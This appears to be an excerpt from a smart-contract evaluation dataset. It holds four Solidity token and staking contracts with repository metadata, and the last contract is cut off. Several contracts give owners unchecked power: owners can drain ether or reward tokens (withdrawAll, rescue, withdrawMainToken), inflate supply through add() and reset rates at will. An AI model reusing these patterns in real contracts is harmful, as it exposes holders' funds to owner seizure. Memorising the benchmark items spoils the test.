evaluation-dataset/0x5a6dcd18e7e8e7844a8cbb02390c3392e165036a.sol
| 2,775 | 10,655 |
pragma solidity ^0.4.25;
//----------------------------------------------------------------------
// 'Rubik Protocol' contract |
// Symbol : RUB |
// Name : Rubik Protocol |
// Total supply: 10,000,000,000 |
// Decimals : 8 |
// Website : https://rubprotocol.com |
// Copyright (c) 2018 Rubik Protocol |
//----------------------------------------------------------------------
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract RubikProtocol is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "Rubik Protocol";
string public constant symbol = "RUB";
uint public constant decimals = 8;
uint public deadline = now + 40 * 1 days;
uint public round2 = now + 20 * 1 days;
uint public round1 = now + 15 * 1 days;
uint256 public totalSupply = 10000000000e8;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 1 ether / 100; // 0.01 Ether
uint256 public tokensPerEth = 10000000e8;
uint public target0drop = 40000;
uint public progress0drop = 0;
address multisig = 0x460BE721deB36B617DE80Fe116938662d10ac7aA;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 teamFund = 3500000000e8;
owner = msg.sender;
distr(owner, teamFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require(_amount > 0);
require(totalDistributed < totalSupply);
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusPha1 = 1 ether / 2;
uint256 bonusPha2 = 1 ether;
uint256 bonusPha3 = 3 ether;
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusPha1 && msg.value < bonusPha2){
countbonus = tokens * 5 / 100;
}else if(msg.value >= bonusPha2 && msg.value < bonusPha3){
countbonus = tokens * 10 / 100;
}else if(msg.value >= bonusPha3){
countbonus = tokens * 15 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusPha2 && msg.value < bonusPha3){
countbonus = tokens * 0 / 100;
}else if(msg.value >= bonusPha3){
countbonus = tokens * 5 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 3000e8;
if (Claimed[investor] == false && progress0drop <= target0drop) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require(msg.value >= requestMinimum);
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if(now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusPha1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require(msg.value >= requestMinimum);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
multisig.transfer(msg.value);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
}
| 193,487 | 12,761 |
9c71f99374af9eaaaf78ccd7d08858a5cc11ee5cb9b3566fe18c615d530917d1
| 13,711 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TU/TUpz6bWJ93kkP4J6GBMq5hbvxZ93uDj2Kb_TSCtrxLP_750_TokenPool.sol
| 3,794 | 13,587 |
//SourceUnit: TSC_750_POOL.sol
pragma solidity ^0.5.8;
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
interface ITRC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library SafeTRC20 {
address constant USDTAddr = 0xa614f803B6FD780986A42c78Ec9c7f77e6DeD13C;
using SafeMath for uint256;
using Address for address;
function safeTransfer(ITRC20 token, address to, uint256 value) internal {
if (address(token) == USDTAddr) {
(bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success, "SafeTRC20: low-level call failed");
} else {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
}
function safeTransferFrom(ITRC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(ITRC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeTRC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(ITRC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(ITRC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeTRC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(ITRC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeTRC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeTRC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
require(abi.decode(returndata, (bool)), "SafeTRC20: TRC20 operation did not succeed");
}
}
}
contract LPTokenWrapper {
using SafeMath for uint256;
using SafeTRC20 for ITRC20;
ITRC20 public tokenAddr;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) internal {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
tokenAddr.safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
tokenAddr.safeTransfer(msg.sender, amount);
}
}
interface IRelation {
function setRelation(uint inviterID, address sender) external returns (bool);
function incTsc(address addr, uint amount) external returns (bool);
function incTss(address addr, uint amount) external returns (bool);
function getUserParent(address addr) external view returns (address parent, address grandParent);
}
contract TSCtrxLP_750_TokenPool is LPTokenWrapper, Ownable {
ITRC20 public rewardToken = ITRC20(0x41f159c19c0a419b832a12b32c062a1fd109c72096); // TSS
uint256 public constant DURATION = 365 days;
IRelation relationCtx = IRelation(0x41da1f36c8974daba7c323dfb4b511d917784e48a8); // ok
uint256 public starttime = 1612526400; // 2021/02/05 12:00:00 UTC
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
uint256 public rewardRateAdjustTime = 0;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
constructor() public{
periodFinish = starttime.add(DURATION);
rewardRate = 6750 * (10 ** 18) / 1 days;
rewardRateAdjustTime = starttime;
}
function adjustRewardRate() internal {
if (now >= rewardRateAdjustTime + 5 days) {
uint changeRate = now.sub(rewardRateAdjustTime).div(5 days);
rewardRateAdjustTime = rewardRateAdjustTime + changeRate.mul(5 days);
rewardRate = rewardRate * (95 ** changeRate) / (100 ** changeRate);
}
}
function setStakeToken(address token) public onlyOwner returns (bool) {
tokenAddr = ITRC20(token);
return true;
}
function setRewardToken(address token) public onlyOwner returns (bool) {
rewardToken = ITRC20(token);
return true;
}
function setStartTime(uint val) public onlyOwner returns (bool) {
if (val == 0) {
val = now;
}
starttime = val;
lastUpdateTime = val;
periodFinish = starttime.add(DURATION);
return true;
}
modifier checkStart() {
require(address(rewardToken) != address(0), "invalid reward token");
require(address(tokenAddr) != address(0), "invalid stake token");
require(block.timestamp >= starttime, "not start");
_;
}
modifier updateReward(address account) {
adjustRewardRate();
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply()));
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
function stake(uint256 amount, uint inviterID) public updateReward(msg.sender) checkStart {
require(amount > 0, "Cannot stake 0");
relationCtx.setRelation(inviterID, msg.sender);
super.stake(amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public updateReward(msg.sender) checkStart {
require(amount > 0, "Cannot withdraw 0");
super.withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function withdrawAndGetReward(uint256 amount) public updateReward(msg.sender) checkStart {
require(amount <= balanceOf(msg.sender), "Cannot withdraw exceed the balance");
withdraw(amount);
getReward();
}
function exit() external {
withdraw(balanceOf(msg.sender));
getReward();
}
function getReward() public updateReward(msg.sender) checkStart {
uint256 trueReward = earned(msg.sender);
if (trueReward > 0) {
rewards[msg.sender] = 0;
(address p, address gp) = relationCtx.getUserParent(msg.sender);
uint rate = 100;
if (address(0) != p) {
rewardToken.safeTransfer(p, trueReward.mul(3).div(100));
relationCtx.incTss(p, trueReward.mul(3).div(100));
rate = rate.sub(3);
}
if (address(0) != gp) {
rewardToken.safeTransfer(gp, trueReward.mul(2).div(100));
relationCtx.incTss(gp, trueReward.mul(2).div(100));
rate = rate.sub(2);
}
rewardToken.safeTransfer(msg.sender, trueReward.mul(rate).div(100));
}
}
function modifyRewardRate(uint256 reward) external onlyOwner updateReward(address(0))
{
rewardRate = reward * (10 ** 18) / 1 days;
return;
}
function rescue(address payable to_, uint256 amount_) external onlyOwner {
require(to_ != address(0), "must not 0");
require(amount_ > 0, "must gt 0");
to_.transfer(amount_);
}
function rescue(address to_, ITRC20 token_, uint256 amount_) external onlyOwner {
require(to_ != address(0), "must not 0");
require(amount_ > 0, "must gt 0");
require(token_ != rewardToken, "invalid token");
require(token_ != tokenAddr, "invalid token");
token_.transfer(to_, amount_);
}
}
| 303,305 | 12,762 |
6003ce69572ac9fc236c9109f4a3f9875bfa35cfcb95479618c06231b0927763
| 21,474 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x0dd8bdc03DAA41BF62053877498bE97cA9c274cd/contract.sol
| 2,966 | 11,044 |
pragma solidity ^0.5.17;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + (((a % 2) + (b % 2)) / 2);
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
// File: @openzeppelin/contracts/GSN/Context.sol
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
// File: @openzeppelin/contracts/ownership/Ownable.sol
contract Ownable is Context {
address public _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0),
"Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract IRewardDistributionRecipient is Ownable {
address public rewardDistribution;
function notifyRewardAmount(uint256 reward) external;
modifier onlyRewardDistribution() {
require(_msgSender() == rewardDistribution,
"Caller is not reward distribution");
_;
}
function setRewardDistribution(address _rewardDistribution)
external
onlyOwner
{
rewardDistribution = _rewardDistribution;
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash =
0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function toPayable(address account)
internal
pure
returns (address payable)
{
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount,
"Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success,) = recipient.call.value(amount)("");
require(success,
"Address: unable to send value, recipient may have reverted");
}
}
contract TokenWrapper {
using SafeMath for uint256;
IERC20 public LPToken = IERC20(0x9ce4eeCC88bC2E3bb2f7F3C828CcF52Fe932EC95);
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) public {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
LPToken.transferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
LPToken.transfer(msg.sender, amount);
}
}
contract GroundWater is TokenWrapper, IRewardDistributionRecipient {
IERC20 public MainToken =
IERC20(0xb1b17DFf66d75b29d34f0Bf8622c406D8219B507);
uint256 public constant DURATION = 90 days;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply()));
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
// stake visibility is public as overriding LPTokenWrapper's stake() function
function stake(uint256 amount) public updateReward(msg.sender) {
require(amount > 0, "Cannot stake 0");
super.stake(amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public updateReward(msg.sender) {
require(amount > 0, "Cannot withdraw 0");
super.withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external {
withdraw(balanceOf(msg.sender));
getReward();
}
function withdrawAmount(uint256 amount) external {
withdraw(amount);
getReward();
}
function getReward() public updateReward(msg.sender) {
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
MainToken.transfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function notifyRewardAmount(uint256 reward)
external
onlyRewardDistribution
updateReward(address(0))
{
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(DURATION);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(DURATION);
}
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(DURATION);
emit RewardAdded(reward);
}
// only when emergency withdraw
function withdrawMainToken(uint256 amount) external onlyRewardDistribution {
require(MainToken.balanceOf(address(this)) > amount, "amount exceeds");
rewardRate = 0;
periodFinish = 0;
MainToken.transfer(_owner, amount);
}
}
| 255,593 | 12,763 |
ac03c9219116947ae545484e94a5f58c342d16f646755f120a353b432f115bdb
| 9,428 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xd3ceb61901a0f0a310ce109209e8a05b8173e1cf.sol
| 2,971 | 9,308 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract PrimeSystems is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "Prime Systems Token";
string public constant symbol = "PRIME";
uint public constant decimals = 8;
uint public deadline = now + 13 * 1 days;
uint public round2 = now + 8 * 1 days;
uint public round1 = now + 19 * 1 days;
uint256 public totalSupply = 15000000000e8;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 1 ether / 1000;
uint256 public tokensPerEth = 15500000e8;
uint public target0drop = 30000;
uint public progress0drop = 0;
address multisig = 0x8F4091071B52CeAf3676b471A24A329dFDC9f86d;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 teamFund = 10000000e8;
owner = msg.sender;
distr(owner, teamFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require(_amount > 0);
require(totalDistributed < totalSupply);
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
